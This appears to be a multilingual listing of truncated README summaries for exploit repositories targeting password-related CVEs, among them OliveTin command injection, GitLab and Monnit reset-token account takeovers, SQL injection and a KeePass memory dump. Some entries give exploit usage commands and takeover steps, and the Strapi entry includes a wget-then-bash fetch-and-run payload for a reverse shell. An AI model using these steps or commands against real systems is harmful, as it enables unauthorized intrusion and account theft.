CVE-2026-27626-POC

CVE-2026-27626：OliveTin 密码参数命令注入 OliveTin 允许管理员定义“操作”：带有参数化参数的 shell 命令，用户可以通过 Web UI 或 API 触发。在将用户提供的值模板化到 shell 命令之前，OliveTin 本应通过 checkShellArgumentSafety 对其进行检查。该函数会检查四种参数类型：string、int、bool、choice。它完全跳过了 password 类型，并直接返回 true（表示“安全”），而不对值进行任何检查。 因此，如果某个操作包含 password 类型的参数，并且该参数被替换到 shell...

CVE-2026-45332-PoC

CVE-2026-45332：Automad CMS 中的失效访问控制 CVE-2026-45332 的概念验证，Automad CMS 中的失效访问控制漏洞，允许任何未经身份验证的攻击者通过设置端点转储每个管理员账户的 bcrypt 密码哈希和 TOTP 密钥，该端点在初始配置后永远不会被禁用。 字段| 值 ---|--- CVE| CVE-2026-45332 GHSA| GHSA-xm76-r88j-vm3g 产品| Automad CMS composer automad/automad 受影响版本| = 2.0.0-alpha.1，generatePHP; //...

CVE-2023-32784-keepass-linux

KeePass 2.53/cmdline 文件，并存储命令行参数中包含关键字 KeePass 的进程的 pid。 然后，它会获取 /proc//maps 中未直接关联库（即文件路径为空）的内存映射的地址。 接着，它利用 /proc//mem 将所有映射的内存存储到缓冲区中。这是在 Linux 上转储任意进程内存的一种基本行为。 它会解析内存，尝试查找用户输入主密码时留下的残存字符串，这些字符串看起来像 •a, ••s, •••s 这样的序列。第一个字符会缺失。您可以通过查看代码找到其他功能。 gcc dumppwd.c -o dump 然后就可以运行了。...

CVE-2023-7028

CVE-2023-7028: CVE-2023-7028 漏洞利用工具 描述： 该 Python 脚本自动化利用 GitLab 实例上的假设性安全漏洞（CVE-2023-7028）。它有助于对指定的目标电子邮件地址进行密码重置攻击，从而展示潜在的安全风险。该工具支持用于 GitLab URL、目标电子邮件和可选参数的命令行选项，并增强了从文件处理多个 URL 和电子邮件的能力。注意：此脚本仅供教育目的使用，不应用于未经授权或恶意的活动。 功能： 自动在 GitLab 上利用 CVE-2023-7028 漏洞 通过检索 CSRF 令牌进行密码重置攻击 用法： python script.p...

CVE-2025-50433

CVE-2025-50433 — 影响Monnit云平台.imonnit.com的严重账户接管漏洞 摘要 .imonnit.com 存在一个严重的认证漏洞，允许完全账户接管（ATO） 任何用户账户，且无需受害者交互。 后端未能验证密码重置令牌与目标电子邮件之间的关联 ，导致攻击者可以使用自己有效的重置令牌来重置任何受害者账户的密码。 攻击向量（逐步PoC） 1. 攻击者创建账户 A（[email protected]）。 2. 受害者拥有账户 B（[email protected]）。 3. 攻击者为账户 A 和 B 请求密码重置。 4. 攻击者仅收到账户 A...

CVE-2026-72898

CVE-2026-72898 PoC : Inyección SQL no autenticada en Metabase Inyección SQL previa a la autenticación en Metabase que conduce a la toma de control del administrador Prueba de concepto para CVE-2026-72898, una inyección SQL crítica no autenticada en el endpoint de restablecimiento de contraseña de...

CVE-2019-9053

CMS Made Simple 通过检查响应延迟逐字符 提取数据。 提取内容： 盐值（cmssiteprefs 表） 管理员用户名（cmsusers 表） 管理员邮箱（cmsusers 表） 管理员密码哈希（cmsusers 表） 可选：使用提供的字典文件和盐值尝试破解提取的哈希。 注意事项 ✅ 完全兼容 Python 3（在 TryHackMe/HTB 工作流中稳定）。 ✅ 可在虚拟环境（venv）中干净地运行。 ✅ 使用彩色输出清晰跟踪进度。 免责声明 本利用脚本仅供教育目的 使用。请勿在未拥有或未获明确授权的系统上使用。 致谢 原始 Python 2 利用脚本：Daniele...

CVE-2025-67070-Intelbras-CFTV-MFA-Bypass

Intelbras NVD 9032 R Ftd – Vulnerabilidad crítica de restablecimiento de contraseña Descubierto por: Theo Cia CVE: CVE-2025-67070 Estado: Reportado al proveedor Fecha de descubrimiento: Noviembre 2025 Impacto: Acceso administrativo completo mediante bypás de MFA Firmware: V2.800.00IB00C.0.T Build...

CVE-2024-13513.py

Uso Uso Básico bash python3 exploit.py -l targets.txt -e [email protected] Uso Avanzado bash python3 exploit.py -l targets.txt -e [email protected] -t 100 -o /path/to/results Explicación de Parámetros Parámetro| Descripción| Requerido| Por defecto ---|---|---|--- -l, --list| Ruta al...

CVE-2020-7378

CVE-2020-7378 – OpenCRX 可预测密码重置令牌及XXE漏洞利用 本仓库包含针对 OpenCRX （版本至 5.0-20200717 为止）关键漏洞 CVE-2020-7378 的复合概念验证 PoC 漏洞利用。该漏洞利用串联了应用程序中的两个核心问题： 1. 由于依赖 java.util.Random 导致的可预测密码重置令牌 漏洞，攻击者可基于毫秒时间戳种子生成有效令牌。 2. 位于 RestServlet 端点的盲 XML 外部实体 XXE 漏洞，允许远程读取服务器文件系统中的文件。 这两个缺陷的组合使未认证攻击者能够获取管理员权限并窃取服务器端的敏感文件。 漏洞...

CVE-2024-56429

CVE-2024-56429 Access to the local database of the iLabClient Extract database password The iLabClient uses an Apache Derby database to store the locally required data. To ensure the encryption, a bootPassword is used for the creation, which can be extracted from the source code the extracted cod...

Digisol-DG--GR1321-s-Password-Storage-in-Plaintext--CVE-2024-4232

Digisol-DG--GR1321-的-明文密码存储--CVE-2024-4232...

CVE-2019-19609-POC-Python

该脚本将尝试将密码重置为"updatedpass"变量中声明的值；如果成功，它将从Strapi获取一个JWT令牌，并使用该令牌执行命令。 执行绑定命令无效，除非发送反向Shell载荷（使用bash或python等）。你可以生成一个.sh文件，该文件会为你下载nc并执行它，或者任何其他内容，甚至ELF文件。为此，请将payloadexp从&&改为。例如：&& $wget xxxx -O /tmp/oooo; bash /tmp/ooo URL 不再有效。...

CVE-2025-25749-Weak-Password-Policy-in-HotelDruid-3.0.7

CVE-2025-25749-HotelDruid-3.0.7中弱密码策略漏洞 描述 HotelDruid 3.0.7及更早版本存在一个漏洞，该漏洞因未强制执行密码强度策略，允许用户设置弱密码。 影响 接受弱密码： 攻击者可以通过猜测简单密码或使用凭据填充攻击获得高成功率。 凭据重用风险： 如果用户在多个系统中重复使用密码，攻击者可利用已泄露的凭据。 无密码时效： 频繁更改密码以规避检测成为可能。 攻击面扩大： 结合反射型XSS（CVE-2025-25747）等漏洞，攻击者更容易获得初始立足点。 风险摘要...

CVE-2021-22911

CVE-2021-22911 如果你已经注册了一个用户，这将只重置管理员密码，而不会同时重置两者。这使得漏洞利用运行得更快。 python3 exploit.py -u test -a [email protected] -t http://chat.rocket.thm -i 10.10.4.24 -p 80...

CVE-2021-40101

Survey XSS 与 CSRF 结合导致 Concrete5 8.5.4 管理员帐户接管 在版本低于 9 的 Concrete CMS 中，管理员在更改其他用户密码时无需提供自己的密码。 结合 CVE-2021-28145（"Concrete CMS（前身为 concrete5）8.5.5 之前的版本允许远程认证用户通过精心设计的调查区块执行 XSS 攻击。这至少需要编辑者权限"：该修复包含在 8.5.5 版本中），低权限用户（例如开发者或能够创建调查的公共用户）可以插入恶意 JavaScript 代码到 Web 应用程序中。调查结果可由管理员在其 Web 界面（报告调查）中查看。恶...

CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001

CVE-2025-52691 / WT-2026-0001 SmarterMail 漏洞利用工具 🚨 重要提示 本工具仅用于授权安全测试和教育目的！ 未经授权的使用是非法的且不道德的 仅在获得明确授权的系统上使用 使用风险自负 用户需遵守所有适用法律 📋 概述 本漏洞利用工具结合了 SmarterMail 中的两个关键漏洞： 1. CVE-2025-52691 ：通过文件上传实现预授权远程代码执行 CVSS 评分：10.0（严重） 受影响版本：Build 9406 及更早版本，Build 16.3.6989.16341 及更早版本 修复版本：Build 9413 及更高版本...

CVE-2024-34327

CVE-2024-34327 SQL注入漏洞检查器 本脚本（V-24-02-001SQLiCheck.py）是一个概念验证（PoC）工具，用于验证 CVE-2024-34327所标识的、影响password-reset-token.php端点的基于时间的盲SQL注入漏洞 。 ⚠️ 免责声明 本工具仅供教育和授权测试目的使用 。未经同意擅自扫描或利用系统是非法且不道德的。 🔍 漏洞详情 CVE ID ：CVE-2024-34327 漏洞标题 ：基于时间的盲SQL注入 产品 ：Sielox AnyWare 受影响版本 ：2.1.2 存在漏洞的端点...

gpp-encrypt

gpp-encrypt Descripción Este pequeño script encripta contraseñas al cpassword de GPP. Es útil para crear laboratorios AD vulnerables. Requisitos Este paquete requiere: python3 python3 Standard Library Instalación git clone "https://github.com/mauricelambert/gpp-encrypt.git" cd "gpp-encrypt" pytho...

CVE-2025-2812

CVE-2025-2812 — Mydata Bilişim Ltd. Şti 开发的“Bilet Satış Otomasyonu”中的 SQL 注入漏洞 📌 CVE-ID: CVE-2025-2812 📢 USOM 公告: tr-25-0099 🛡️ 漏洞类型: CWE-89 - SQL 注入（基于布尔值的盲注） 🏢 受影响产品: Bilet Satış Otomasyonu – Mydata Bilişim Ltd. Şti 🌐 示例目标 URL: https://otobusfirmasi.com.tr/otobus-bileti/SifremiUnuttum.php 🔍 漏洞概述...